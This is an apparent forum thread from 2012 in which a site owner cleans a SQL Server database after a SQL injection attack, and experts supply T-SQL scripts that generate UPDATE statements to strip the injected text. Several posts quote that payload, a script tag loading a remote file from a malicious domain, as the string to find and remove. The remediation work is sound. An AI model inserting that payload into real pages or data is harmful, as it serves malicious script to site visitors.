none
SQL Injection RRS feed

  • Question

  • Hi there,

    My website got hacked and my database is totally messed up with malware links placed on all its coliumns through a SQL injection invasion.

    Surely and Fortunately, I figured out that  the malicious as its length limited in 72 chars. Here it is:

    "></title><script src="http://eighbo02rsbarr.rr.nu/sl.php"></script><!-- 

    In order to fix that without loosing anything of the current data, I decided to remove the suspicious string from "every" column of "every" table that is infected with the malware code. To accomplish that I wrote the following plan

    Get all the tables of the database schema and all columns of each table as in:

    SELECT t.name AS table_name, SCHEMA_NAME(schema_id) AS schema_name, c.name AS column_name
    FROM sys.tables AS t
    INNER JOIN sys.columns c ON t.OBJECT_ID = c.OBJECT_ID
    ORDER BY schema_name, table_name;

    Then, to update the value of each column, by removing "only" the malicious code, through a loop statement or whatever else statement that would accomplish this task at once or step by step, using the query bellow ...

    UPDATE table_name SET column_name = RIGHT(column_name, LEN(column_name) – 72) WHERE column_name LIKE '%http://eighbo02rsbarr.rr.nu/sl.php';

    Am I in the correct path?

    How would I join these two steps (get all the tables and columns, update the new value) into a plain MS SQL Server script?

    Sunday, September 9, 2012 5:11 PM

Answers

  • EXEC @SQL

    If you are using SQL Server 2005 or above, declare the @SQL variable as nvarchar(MAX) and use sp_executesql:

    EXEC sp_executesql @SQL;


    Dan Guzman, SQL Server MVP, http://weblogs.sqlteam.com/dang/

    Monday, September 10, 2012 12:54 AM
  • I suggest to not execute in a loop. Let them all print into a file, then grab that script and execute separately. Most likely the errors you were getting were coming from a trigger.

    For every expert, there is an equal and opposite expert. - Becker's Law


    My blog

    Monday, September 10, 2012 2:29 AM
    Moderator

All replies

  • Am I in the correct path?

    How would I join these two steps (get all the tables and columns, update the new value) into a plain MS SQL Server script?

    I think you have the right idea.  Below is a variation using STUFF (not fully tested) that also generates the needed script.

    I suggest you change your application to use parameterized queries at the earliest opportunity.  Not only do parameterized queries mitigate SQL injection, they typically provide better performance while eliminating the need to format dates and numbers in a particular way for database insertion.  The code is easier to read too.

    SELECT 
    	N'UPDATE ' 
    	+ QUOTENAME(SCHEMA_NAME(t.schema_id)) 
    	+ N'.' 
    	+ QUOTENAME(t.name) 
    	+ N' SET ' 
    	+ QUOTENAME(c.name) 
    	+ N' = STUFF(' + QUOTENAME(c.name) + N', CHARINDEX(''http://eighbo02rsbarr.rr.nu/sl.php'', ' + QUOTENAME(c.name) + '), 72, '''')'
    FROM sys.tables AS t
    JOIN sys.columns AS c ON t.object_id = c.object_id
    JOIN sys.types AS ty ON ty.system_type_id = c.system_type_id AND ty.user_type_id = c.user_type_id
    WHERE
    	ty.name IN(N'varchar', N'char', N'nvarchar', N'nchar')
    	AND OBJECTPROPERTY(t.object_id, 'IsMSShipped') = 0;



    Dan Guzman, SQL Server MVP, http://weblogs.sqlteam.com/dang/

    Sunday, September 9, 2012 5:39 PM
  • Hi Dan,

    Yes, We are already working on changing the entire application to use parameterized queries. Thanks for the advice! :)

    I didn't understand what your code does. I ran it here and it resulted in a new recordset  with only 581 records. I doubt there are only 581 records with the malicious code.  Plus, Wasn't the value of the records suposed to be affect by running the query. I mean, once i run it, weren't the value of the fields supposed to change its values = remove the malicious code? 

    Sunday, September 9, 2012 5:52 PM
  • I grabbed the script bellow that maybe it helps me to remove the malicious string. 

    I am trying to customize it in order to work as I expect.

    is it helpful?

    CREATE PROC SearchAllTables
    (
    @SearchStr nvarchar(100)
    )
    AS
    BEGIN

    -- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
    -- Purpose: To search all columns of all tables for a given search string
    -- Written by: Narayana Vyas Kondreddi
    -- Site: http://vyaskn.tripod.com
    -- Tested on: SQL Server 7.0 and SQL Server 2000
    -- Date modified: 28th July 2002 22:50 GMT


    CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))

    SET NOCOUNT ON

    DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
    SET  @TableName = ''
    SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')

    WHILE @TableName IS NOT NULL
    BEGIN
       
    SET @ColumnName = ''
       
    SET @TableName =
       
    (
           
    SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
           
    FROM    INFORMATION_SCHEMA.TABLES
           
    WHERE       TABLE_TYPE = 'BASE TABLE'
               
    AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
               
    AND OBJECTPROPERTY(
                        OBJECT_ID
    (
                            QUOTENAME
    (TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
                             
    ), 'IsMSShipped'
                               
    ) = 0
       
    )

       
    WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
       
    BEGIN
           
    SET @ColumnName =
           
    (
               
    SELECT MIN(QUOTENAME(COLUMN_NAME))
               
    FROM    INFORMATION_SCHEMA.COLUMNS
               
    WHERE       TABLE_SCHEMA    = PARSENAME(@TableName, 2)
                   
    AND TABLE_NAME  = PARSENAME(@TableName, 1)
                   
    AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
                   
    AND QUOTENAME(COLUMN_NAME) > @ColumnName
           
    )

           
    IF @ColumnName IS NOT NULL
           
    BEGIN
               
    INSERT INTO #Results
               
    EXEC
               
    (
                   
    'SELECT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630)
                    FROM '
    + @TableName + ' (NOLOCK) ' +
                   
    ' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
               
    )
           
    END
       
    END
    END

    SELECT ColumnName, ColumnValue FROM #Results
     
    END

    Sunday, September 9, 2012 5:55 PM
  • Dan's script generates the cleaning script which you will need to run.

    I remember I had a similar problem a while back and the way I solved it was to first select table names/character column names which are longer than 70 chars. Then I used Visual Foxpro and textmerge to actually generate the cleaning script and then ran that script.


    For every expert, there is an equal and opposite expert. - Becker's Law


    My blog

    Sunday, September 9, 2012 5:57 PM
    Moderator
  • I didn't understand what your code does. I ran it here and it resulted in a new recordset  with only 581 records. I doubt there are only 581 records with the malicious code.  Plus, Wasn't the value of the records suposed to be affect by running the query. I mean, once i run it, weren't the value of the fields supposed to change its values = remove the malicious code? 


    Those 581 records are UPDATE statements for each of the string columns in your database.  You can copy the result and run in to clean the data.  I suggest you take a database backup first as a precaution.

    Dan Guzman, SQL Server MVP, http://weblogs.sqlteam.com/dang/

    Sunday, September 9, 2012 5:59 PM
  • Not exactly,

    I amend you script to work with cursors as in 


    DECLARE @sql VARCHAR(8000)

    DECLARE curUpdateQueries CURSOR FAST_FORWARD FOR
    SELECT 
    N'UPDATE ' 
    + QUOTENAME(SCHEMA_NAME(t.schema_id)) 
    + N'.' 
    + QUOTENAME(t.name) 
    + N' SET ' 
    + QUOTENAME(c.name) 
    + N' = STUFF(' + QUOTENAME(c.name) + N', CHARINDEX(''http://eighbo02rsbarr.rr.nu/sl.php'', ' + QUOTENAME(c.name) + '), 72, '''')'
    FROM sys.tables AS t
    JOIN sys.columns AS c ON t.object_id = c.object_id
    JOIN sys.types AS ty ON ty.system_type_id = c.system_type_id AND ty.user_type_id = c.user_type_id
    WHERE ty.name IN(N'varchar', N'char', N'nvarchar', N'nchar')
    AND OBJECTPROPERTY(t.object_id, 'IsMSShipped') = 0;

    OPEN CurUpdateQueries
    FETCH NEXT FROM curUpdateQueries INTO @sql

    WHILE @@FETCH_STATUS = 0
    BEGIN
    EXEC (@sql)
    FETCH NEXT FROM curUpdateQueries INTO @sql
    END
    CLOSE curUpdateQueries
    DEALLOCATE curUpdateQueries

    However, I ended up with the following result into the columns of every table  ' \"></title><script src=\" '

    Sunday, September 9, 2012 8:51 PM
  • If you know the exact bad script, then try:

    declare @BadScript nvarchar(100) = N'></title><script src="http://eighbo02rsbarr.rr.nu/sl.php"></script><!--' 
    
    DECLARE @sql VARCHAR(8000)
    
    DECLARE curUpdateQueries CURSOR FAST_FORWARD FOR
    SELECT 
    N'UPDATE ' 
    + QUOTENAME(SCHEMA_NAME(t.schema_id)) 
    + N'.' 
    + QUOTENAME(t.name) 
    + N' SET ' 
    + QUOTENAME(c.name) 
    + N' = REPLACE(' + QUOTENAME(c.name) + N',@BadScript,'''')'
    FROM sys.tables AS t
    JOIN sys.columns AS c ON t.object_id = c.object_id
    JOIN sys.types AS ty ON ty.system_type_id = c.system_type_id AND ty.user_type_id = c.user_type_id
    WHERE ty.name IN(N'varchar', N'char', N'nvarchar', N'nchar')
    AND OBJECTPROPERTY(t.object_id, 'IsMSShipped') = 0;
    
    OPEN CurUpdateQueries
    FETCH NEXT FROM curUpdateQueries INTO @sql
    
    WHILE @@FETCH_STATUS = 0
    BEGIN
    PRINT @SQL
    -- If you want to execute
    execute sp_ExecuteSQL @SQL, N'@BadScript nvarchar(100)', @BadScript
    FETCH NEXT FROM curUpdateQueries INTO @sql
    END
    CLOSE curUpdateQueries
    DEALLOCATE curUpdateQueries
    
    
    


    For every expert, there is an equal and opposite expert. - Becker's Law


    My blog

    Sunday, September 9, 2012 11:18 PM
    Moderator
  • Naomi,

    I had to change a bit your script to  DECLARE @sql nvarchar(3999) instead of DECLARE @sql varchar(8000). Otherwise sp_ExecuteSQL would scream out loud

    Msg 214, Level 16, State 2, Procedure sp_executesql, Line 1
    Procedure expects parameter '@statement' of type 'ntext/nchar/nvarchar'.

    Furthermore, I keep getting the message  at the end of the execution, whatever script I run (i.e. mine, yours and someone else's script that I tried.

    Msg 3609, Level 16, State 1, Line 1

    The transaction ended in the trigger. The batch has been aborted.

    declare @BadScript nvarchar(100) = N'></title><script src="http://eighbo02rsbarr.rr.nu/sl.php"></script><!--' 

    DECLARE @sql nvarchar(3000)

    DECLARE curUpdateQueries CURSOR FAST_FORWARD FOR
    SELECT 
    N'UPDATE ' 
    + QUOTENAME(SCHEMA_NAME(t.schema_id)) 
    + N'.' 
    + QUOTENAME(t.name) 
    + N' SET ' 
    + QUOTENAME(c.name) 
    + N' = REPLACE(' + QUOTENAME(c.name) + N',@BadScript,'''')'
    FROM sys.tables AS t
    JOIN sys.columns AS c ON t.object_id = c.object_id
    JOIN sys.types AS ty ON ty.system_type_id = c.system_type_id AND ty.user_type_id = c.user_type_id
    WHERE ty.name IN(N'varchar', N'char', N'nvarchar', N'nchar')
    AND OBJECTPROPERTY(t.object_id, 'IsMSShipped') = 0;

    OPEN CurUpdateQueries
    FETCH NEXT FROM curUpdateQueries INTO @sql

    WHILE @@FETCH_STATUS = 0
    BEGIN
    PRINT @SQL
    -- If you want to execute
    execute sp_ExecuteSQL @SQL, N'@BadScript nvarchar(100)', @BadScript
    FETCH NEXT FROM curUpdateQueries INTO @sql
    END
    CLOSE curUpdateQueries
    DEALLOCATE curUpdateQueries

    Any ideas?

    Sunday, September 9, 2012 11:59 PM
  • Naomi,

    I rewrote the script to the one followed bellow. Take a look. However I am still getting errors:

    UPDATE [dbo].[ProductOption] SET [ProductOptionName] = RIGHT([ProductOptionName], LEN([ProductOptionName]) - 72) WHERE [ProductOptionName] LIKE '%http://eighbo02rsbarr.rr.nu/sl.php%'
    Msg 203, Level 16, State 2, Line 27
    The name 'UPDATE [dbo].[ProductOption] SET [ProductOptionName] = RIGHT([ProductOptionName], LEN([ProductOptionName]) - 72) WHERE [ProductOptionName] LIKE '%http://eighbo02rsbarr.rr.nu/sl.php%'' is not a valid identifier.

    DECLARE @sql VARCHAR(8000)

    DECLARE curUpdateQueries CURSOR FAST_FORWARD FOR
    SELECT 
    N'UPDATE ' 
    + QUOTENAME(SCHEMA_NAME(t.schema_id)) 
    + N'.' 
    + QUOTENAME(t.name) 
    + N' SET ' 
    + QUOTENAME(c.name) 
    + N' = RIGHT(' + QUOTENAME(c.name) + N', LEN(' + QUOTENAME(c.name) + ') - 72)'
    + N' WHERE ' + QUOTENAME(c.name) + N' LIKE ''%http://eighbo02rsbarr.rr.nu/sl.php%''' 
    FROM sys.tables AS t
    JOIN sys.columns AS c ON t.object_id = c.object_id
    JOIN sys.types AS ty ON ty.system_type_id = c.system_type_id AND ty.user_type_id = c.user_type_id
    WHERE
    ty.name IN(N'varchar', N'char', N'nvarchar', N'nchar')
    AND OBJECTPROPERTY(t.object_id, 'IsMSShipped') = 0;

    OPEN CurUpdateQueries
    FETCH NEXT FROM curUpdateQueries INTO @sql

    WHILE @@FETCH_STATUS = 0
    BEGIN
    PRINT @SQL
    -- If you want to execute
    EXEC @SQL
    FETCH NEXT FROM curUpdateQueries INTO @sql
    END
    CLOSE curUpdateQueries
    DEALLOCATE curUpdateQueries

    Monday, September 10, 2012 12:16 AM
  • EXEC @SQL

    If you are using SQL Server 2005 or above, declare the @SQL variable as nvarchar(MAX) and use sp_executesql:

    EXEC sp_executesql @SQL;


    Dan Guzman, SQL Server MVP, http://weblogs.sqlteam.com/dang/

    Monday, September 10, 2012 12:54 AM
  • I suggest to not execute in a loop. Let them all print into a file, then grab that script and execute separately. Most likely the errors you were getting were coming from a trigger.

    For every expert, there is an equal and opposite expert. - Becker's Law


    My blog

    Monday, September 10, 2012 2:29 AM
    Moderator